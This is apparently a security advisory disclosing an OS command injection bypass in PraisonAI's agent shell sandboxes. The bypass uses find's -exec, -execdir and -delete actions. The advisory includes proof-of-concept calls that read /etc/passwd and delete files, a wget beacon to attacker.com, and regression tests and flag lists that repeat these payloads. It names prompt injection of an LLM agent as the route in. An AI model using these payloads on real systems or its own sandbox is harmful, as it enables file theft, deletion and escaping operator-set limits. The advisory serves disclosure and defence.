GHSA-cv3g-hj65-pcfh: OS Command Injection
Summary
The shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via find's built-in -exec action.
The fix blocks shell metacharacters ( ;|&><$()${} ) and uses spawn() with shell: false. However, find remains in the safe command allowlist, and its -exec ... {} + action executes commands without shell metacharacters — the + batch terminator replaces the blocked ; terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each).
Details
Root cause: Each of the four implementations validates the first token of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to spawn()/subprocess.Popen() with shell: false. Shell metacharacter injection is indeed blocked.
However, find is a Unix command with built-in execution actions: -exec, -execdir, -delete, -ok, -okdir. These actions are interpreted by find itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload find /etc -name passwd -maxdepth 1 -execdir cat {} + passes the regex at line 240 of utility-tools.ts):
find /path -exec <command> {} +
The + terminator (batch mode) avoids ; which IS blocked by the metacharacter regex.
Affected components (4 implementations, same gap):
| # | Component | File | Gap | |---|---|---|---| | 1 | TS utility-tools shell() | src/praisonai-ts/src/tools/utility-tools.ts:255 | find in safeCommands allowlist | | 2 | TS SandboxExecutor | src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50 | find absent from DEFAULTBLOCKEDCOMMANDS | | 3 | Python safeshell | src/praisonai/praisonai/cli/features/safeshell.py:22-58 | find absent from BANNEDCOMMANDS, present in SAFECOMMANDS | | 4 | Python sandboxexecutor | src/praisonai/praisonai/cli/features/sandboxexecutor.py:87-91 | find absent from blockedcommands |
Bypass analysis:
| Check | find /etc -name passwd -maxdepth 1 -execdir cat {} + | Result | |---|---|---| | Metachar regex /[;|&\><]/ | {, }, + are not in regex | PASS | | Regex /\$\([^)]\)/ | No $(...) | PASS | | safeCommands.includes('find') | find IS in allowlist | PASS | | SandboxExecutor blocked paths | normalized.includes('/etc/passwd') → FALSE (path split: /etc + passwd) | PASS | | spawn('find', [...], {shell:false}) | find interprets -execdir internally | BYPASS |
The -execdir technique also evades the SandboxExecutor's substring-based path restriction: /etc and passwd appear as separate arguments, so /etc/passwd never appears as a contiguous substring of the command string.
Preconditions:
| Precondition | How attacker obtains | Default? | |---|---|---| | Access to shell() or SandboxExecutor | Default built-in tool in the npm agent toolkit; reachable via prompt injection | Y | | find binary on target | Standard Unix utility, present on Linux/macOS | Y | | find in allowlist / absent from blocklist | Default configuration in each implementation | Y |
PoC
1. Data exfiltration via -execdir (utility-tools.ts)
javascript const { shell } = require('praisonai/dist/tools/utility-tools');
async function poc() { // Control: direct 'wget' is rejected (not in safeCommands) const control = await shell('wget http://example.com'); console.log('[CONTROL] rejected:', !control.success); // true
// Bypass: find -execdir reads /etc/passwd via find's built-in action const bypass = await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +'); console.log('[BYPASS]:', bypass.success); // true console.log(bypass.data); // root:x:0:0:root:/root:/bin/bash ... } poc();
Code path: safeCommands.includes('find') → true → containsShellMetacharacters(...) → false → spawn('find', ['/etc','-name','passwd','-maxdepth','1','-execdir','cat','{}','+'], {shell:false}) → find chdirs to /etc → cat ./passwd → exit 0 → {success: true, data: "<passwd contents>"}.
2. File deletion
javascript await shell('find /app/uploads -name ".bak" -delete'); // -delete is a find built-in — clean exit 0, files deleted
3. Non-allowlisted command (side-effect based)
javascript await shell('find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +'); // HTTP request fires as side effect before find returns non-zero
4. Python safeshell
python from praisonai.cli.features.safeshell import safeexecute
result = safeexecute("find /etc -name passwd -maxdepth 1 -execdir cat {} +") print(result.stdout) # root:x:0:0:root:/root:/bin/bash ...
Impact
An attacker who can influence the command parameter of shell() (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves:
- Blocked file read: -execdir reads files in DEFAULTBLOCKEDPATHS by splitting the path across arguments (verified: exit 0, data returned) - File deletion: -delete destroys files without metacharacters (verified: clean exit 0) - Non-allowlisted command execution: -exec runs commands not in safeCommands (side effect fires regardless of exit code)
Shell substitution ($(...)) IS blocked, so the bypass is limited to executing binaries already on disk — but this includes cat, chmod, python3, curl etc.
Same severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833.
Suggested fix
Option A: Remove find from each safe/allowed command list (4 locations). Simplest fix.
Option B: If find must remain, parse arguments and reject -exec, -execdir, -delete, -fls, -fprint, -fprintf, -ok, -okdir flags.
Regression tests: typescript test('rejects find -exec', async () => { expect((await shell('find /tmp -maxdepth 0 -exec wget http://x.com {} +')).success).toBe(false); }); test('rejects find -execdir', async () => { expect((await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +')).success).toBe(false); }); test('rejects find -delete', async () => { expect((await shell('find /app -name ".bak" -delete')).success).toBe(false); });
References
- GHSA-5jv7-2mjm-h6qj: Utility shell safe-command wrapper allowlist bypass via shell chaining (High 8.8) - GHSA-vjv9-7m7j-h833: SandboxExecutor allowedCommands bypass via shell chaining (High) - Fix commits: 2adfe7e, 2f9677a (2026-06-13)
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/praisonaito a version that resolves this vulnerability.Fixed in 4.6.78 - Configuration
Apply the fix across all four implementations: remove find from each safe/allowed command list; if find must remain, parse its arguments and reject -exec, -execdir, -delete, -fls, -fprint, -fprintf, -ok, and -okdir.
PraisonAI TypeScript utility-tools shell(), TypeScript SandboxExecutor, Python safe_shell, and Python sandbox_executor find command handling = Remove find from safe/allowed command lists, or reject find flags -exec, -execdir, -delete, -fls, -fprint, -fprintf, -ok, and -okdir
Event History
Frequently Asked Questions
What level of access does an attacker need to exploit this issue?
The supplied vector indicates network-reachable exploitation with low privileges required and no user interaction. The available data does not identify the specific application entry point that supplies the command.
Why does disabling shell execution not prevent exploitation?
The execution actions are interpreted by find itself rather than by a shell. An attacker can use find's built-in -exec or related actions to run programs even when shell metacharacters are blocked and spawn or subprocess is called with shell disabled.
What command patterns should be treated as dangerous?
find arguments containing -exec, -execdir, -delete, -ok, or -okdir are the relevant built-in actions. In particular, -exec can use the + batch terminator rather than the blocked semicolon terminator.
How can we identify whether an execution path is exposed?
Review command-validation paths that approve the first command token, allow find, and then pass remaining tokens as arguments to spawn() or subprocess.Popen() with shell disabled. The advisory states that this pattern exists in four parallel implementations.
What is a targeted temporary mitigation if a full update is not available?
Remove find from the permitted command allowlist, or reject its built-in execution and deletion actions, including -exec, -execdir, -delete, -ok, and -okdir. Blocking shell metacharacters alone is insufficient.